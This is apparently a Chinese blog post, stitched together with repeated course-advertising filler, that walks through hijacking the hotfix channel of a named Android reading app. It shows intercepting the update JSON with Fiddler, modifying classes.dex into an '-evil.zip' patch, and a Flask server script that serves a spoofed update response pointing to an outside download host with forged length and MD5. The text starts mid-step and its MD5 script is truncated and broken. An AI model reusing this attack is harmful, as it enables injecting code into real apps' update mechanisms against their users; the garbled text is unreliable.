学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
点击Actions第二项"Export Root Certificate to Desktop"生成证书;这时候桌面会生成"FiddlerRoot.cer"证书文件;确定后关闭Fiddler;
2. 模拟器配置
我这里用的是模拟器(MuMu模拟器64位),手机配置也差不多!
打开模拟器设置,点击WLAN -> 鼠标左键长按 -> 修改网络;
手动设置代理 -> 代理主机名(本机ip) -> 代理端口;
将刚刚生成FiddlerRoot.cer文件导入模拟器并安装(拷到模拟器的共享文件夹中);
至此抓包环境全部配置完毕;
3. 抓包
打开Fiddler,并在模拟器中启动米读极速版;
在Fiddler中按 ‘Ctrl + F’ 搜索 .zip后缀的文件(app客户端热更新时会向服务器发出请求,服务器会返回一个json格式的报文(json里标明了要下载的包的url以及版本等信息)供客户端下载);
双击查看服务器的响应报文;
将json数据格式化:
**{
"code": 0,
"message": "成功",
"showErr": 0,
"currentTime": 1625142319,
"data": {
"data": [
{
"sid": 499,
"pkgId": 505,
"url": "https://apk.1sapp.com/miduspeed\_sep\_hotfix\_1.55.0.0607.1200\_002\_531.zip",
"length": 2730,
"name": "ReadvoiceFix66",
"version": "66",
"md5": "ec8ab28b08261fe73f7c08d0f8c7cae0"
}
]
}
}**
在浏览器中输入url:https://apk.1sapp.com/miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip
会下载一个名为 'miduspeed_sep_hotfix_1.55.0.0607.1200_002_531.zip’ 的压缩包,这个压缩包里就包含着app打补丁或热更新所需要的classes.dex文件。
压缩包文件内容:
解压后将classes.dex文件用jadx打开;(下面会查看MethodPatchEntry类是否被加载到内存中
验证该dex文件是否被加载,可以通过dex文件的类是否被加载到内存中来判断!(判断某个类是否被加载,为下文我们在该类的构造函数中插入日志输出语句做铺垫)。
4. Objection查看内存中加载的类
安装objection;
**$ pip install objection**
附:objection用法学习见:Frida进阶:内存漫游、hook anywhere、抓包
这里可以用Objection 来查看内存中是否加载了某个类(用frida也可以,但是相对要麻烦些,因为frida要编写脚本,并且加载的类很多,要想全部输出显示必须输出到文件中才好查找目标类)
首先在模拟器中开启frida,frida配置可以转到这篇文章:Frida框架配置
新建命令行窗口:
$ frida-ps -U #查看所有进程
objection注入进程:
**$ objection -g com.lechuan.mdwz explore**
查看MethodPatchEntry类是否被加载:
**$ android hooking search classes MethodPatchEntry**
可以看到在内存中搜索到了这个类;
5. 修改classes.dex文件
首先用apktool将classes.dex文件反编译成smali文件,接下来修改MethodPatchEntry.smali文件,加入日志输出语句(尽量写在构造函数中,因为构造函数一定会被调用,而其它函数不一定
修改完后重打包成classes.dex文件,将dex文件和MANIFEST.MF文件压缩,命名为’miduspeed_sep_hotfix_1.55.0.0607.1200_002_531-evil.zip’。
6. 将修改后的.zip文件提供给app执行
编写midu-server.py
**from flask import Flask,jsonify
import time
app = Flask(\_\_name\_\_)
@app.route('/app/getHotFixV2/20')
#当执行GET https//127.0.0.1/app/getHotFixV2/20 请求时会执行下面的request\_server()函数(但是客户端发送的请求是 GET https://api-platform.1sapp.com/app/getHotFixV2/20,怎样在客户端发送这个请求时也执行下面的函数呢?这就要用到下文的hosts),并返回respon里的json数据给app。这里我们首先把刚刚修改的.zip文件上传到自己的服务器上,并将url地址改成我们自己服务器上的.zip文件地址,然后修改文件的length(字节大小)和md5值,最后加上本地的证书
def request\_server():
respon = {
"code": 0,
"message": "成功",
"showErr": 0,
"currentTime": 1625035561,
"data": {
"data": [
{**
**"sid": 499,
"pkgId": 505,
"url": "http://download.lxh2cwl.xyz/miduspeed\_sep\_hotfix\_1.55.0.0607.1200\_002\_531-evil.zip",
"length": 2797,
"name": "ReadvoiceFix66",
"version": "66",
"md5": "11b5662257d99005054c05f5f242e826"
}
]
}
}
return jsonify(respon)
app.run('0.0.0.0',
debug=True,
port=443,
ssl\_context=('localhost/cert.pem', 'localhost/key.pem'))** **#本地证书**
生成本地证书可以看这篇文章:cert.pem和key.pem文件生成,如果不想自己生成,也可以从这里下载:localhost.zip
flask学习可以跳转到这:https://www.w3cschool.cn/flask/flask_routing.html
生成文件的md5值:MD5.py
**import hashlib
import os
def get\_md5(file\_path1):
f = open(file\_path,'rb')
md5\_obj = hashlib.md5()
while True:
d = f.read(8096)
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
![](https://img-blog.csdnimg.cn/img_convert/311903982dea1d8a5d2c98fc271b5b41.jpeg)
### 学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
![](https://img-blog.csdnimg.cn/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)
#### 网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份**我自己整理的网络安全入门工具以及使用教程和实战。**
![](https://img-blog.csdnimg.cn/img_convert/bcd1787ce996787388468bb227d8f959.jpeg)
#### 项目实战
最后就是项目实战,这里带来的是**SRC资料&HW资料**,毕竟实战是检验真理的唯一标准嘛~
![](https://img-blog.csdnimg.cn/img_convert/35fc46df24091ce3c9a5032a9919b755.jpeg)
#### 面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**